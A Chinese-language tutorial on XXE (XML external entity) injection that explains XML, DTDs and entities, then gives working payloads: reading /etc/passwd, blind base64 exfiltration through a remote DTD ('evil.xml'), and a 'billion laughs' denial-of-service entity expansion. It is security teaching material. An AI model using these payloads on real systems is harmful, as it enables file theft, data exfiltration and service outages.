XXE简介
XXE:XML External Entity即外部实体,从安全角度理解成XML External attack外部实体注入攻击。由于程序在解析输入的XML数据时,解析了攻击者通过ENTITY伪造外部实体构成,比如PHP中simplexml_load默认情况下会解析外部实体,XXE标志性函数simplexml_load_string()
XML是什么
XML英文拼写是extensible Markup Language可扩展标记语言,xml和html很类似,xml可以使用标记来对数据进行描述,xml的宗旨是传输数据,需要自定义标签,很多人都把xml认为是文本数据库
如果Web应用的脚本代码没有限制XML引入外部实体,从而导致用户可以插入一个外部实体,并且其中的内容会被服务器端执行,插入的代码可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等
XML和HTML的区别
html用于网页代码的编辑,xml用于数据存储和传输,xml重点是数据的内容
xml是可扩展标记,没有固定的标记语言,html有固定的标记语言,html是可以进行预订的,xml是免费且自定义的语言
XML格式要求
xml文档必须有根元素
xml文档必须有关闭标签
xml标签对大小写敏感
xml元素必须被正确的嵌套
xml属性必须加引号
XXE xml格式校验
DTD(Document Type Definition)文档类型定义
DTD内容元素:ELEMENT
<!DOCTYPE TranInfo[
<!ELEMENT TranInfo(CdtrInf,DbtrInf,Amt)>
<!ELEMENT CdtrInf(Id,Nm)>
<!ELEMENT DbtrInf(Id,Nm)>
]>
XXE DTD内容实体:ENTITY
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name[
<!ELEMENT name ANY>
<!ENTITY lyq "lyqxxe">]>
实体ENTITY的使用
<!---原本xml代码为--->
<people>
<lyq>lyq</lyq>
<area>&test;<area>
</people>
<!---若外部实体注入伪造了次数据并且解析--->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lyq[
<!ELEMENT lyq ANY>
<!ENTITY test "lyqxxe">]>
<!---将服务端返回如下--->
<people>
<lyq>lyq</lyq>
<area>lyqxxe</area>
</people>
内部实体
INTERNAL [ɪnˈtɜːnl] E
XXE 外部实体ENTITY使用
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lyq[
<!ELEMENT lyq ANY >
<!ENTITY lyq SYSTEM "file:///C:/download/test,dtd">
]>
<people>
<area>&lyq;<area>
</people>
<!ENTITY 实体名称 SYSTEM "URL/URI">外部实体可支持http,file,phar等协议,不同程序支持的协议不同
PHP | JAVA | .NET |
file | http | file |
http | https | http |
ftp | ftp | https |
php | file | gtp |
data | mailto | |
phar | gopher | |
glob | netdoc | |
compress.zlib | jar | |
compress.bzip2 |
外部实体引用:协议
file:///etc/passwd
php://filter/read=convert.base64-encode/resource=index.php
http://lyq.com/1.dtd
完整的XML内容
<!--- 第一部分:XML声明部分 --->
<?xml version="1.0"?>
<!--- 第二部分:文档类型定义DTD --->
<!DOCTYPE lyq[
<!--- 外部实体生命 --->
<!ENTITY entity-name SYSTEM "URI/URL">
]>
<!--- 第三部分:文档元素 --->
<lyq>
<to>1</to>
<from>2<from>
<head>3</head>
<body>4<body>
</lyq>
XXE外部实体注入攻击
一般xxs分为有回显和误会先,有回显表示可以直接在页面中看到payload的执行结果,无回显可以使用数据通道提取数据例如dnslog.cn网站
有回显的payload
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY lyq SYSTEM "file:///etc/passwd">
]>
<xxx>&lyq;</xxx>
无回显的payload
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % lyq SYSTEM "php://filter/convert.base64-encode/resource=c:/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost/evil.xml">
%lyq;
%dtd;
]>
dos攻击payload
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
检测xml是否被解析
尝试注入特殊字符
- 单双引号
'
"
:XML的属性值必须用引号包裹,而数据可能进入标签的属性值 - 尖括号
< >
:XML的开始/结束标签用尖括号包裹,数据中出现尖括号会引发异常 - 注释符
<!--
:XML使用<!-- This is a comment -->
作注释 &
:& 用于引用实体。- CDATA 分隔符
]]>
:<![CDATA[foo]]>
中的内容不被解析器解析,提前闭合引发异常